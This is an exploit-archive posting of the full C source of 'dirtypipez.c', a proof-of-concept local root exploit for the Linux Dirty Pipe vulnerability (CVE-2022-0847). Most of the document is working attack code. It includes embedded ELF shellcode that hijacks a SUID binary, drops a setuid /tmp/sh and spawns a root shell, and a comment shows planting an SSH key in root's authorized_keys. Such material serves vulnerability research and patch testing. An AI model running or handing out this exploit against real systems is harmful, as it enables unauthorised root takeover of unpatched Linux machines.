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Dirty Pipe SUID Binary Hijack Privilege Escalation

Dirty Pipe SUID Binary Hijack Privilege Escalation
Posted Mar 8, 2022
Authored by Blasty, Max Kellermann

Variant proof of concept exploit for the Dirty Pipe file overwrite vulnerability. This version hijacks a SUID binary to spawn a root shell.

tags | exploit, shell, root, proof of concept
advisories | CVE-2022-0847
SHA-256 | 896e5b87da1c2dcdc6b5bf2a4c03daf9da0145521f3b205c1bcf72db8ff2340f

Dirty Pipe SUID Binary Hijack Privilege Escalation

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//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return -1;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return -1;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return -1;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return -1;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, len);
if (nbytes < 0) {
perror("write failed");
return -1;
}
if ((size_t)nbytes < len) {
fprintf(stderr, "short write\n");
return -1;
}

close(fd);

return 0;
}

int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s SUID\n", argv[0]);
return EXIT_FAILURE;
}

char *path = argv[1];
uint8_t *data = elfcode;

int fd = open(path, O_RDONLY);
uint8_t *orig_bytes = malloc(sizeof(elfcode));
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, sizeof(elfcode));
close(fd);

printf("[+] hijacking suid binary..\n");
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}

printf("[+] dropping suid shell..\n");
system(path);

printf("[+] restoring suid binary..\n");
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}

printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
system("/tmp/sh");

return EXIT_SUCCESS;
}
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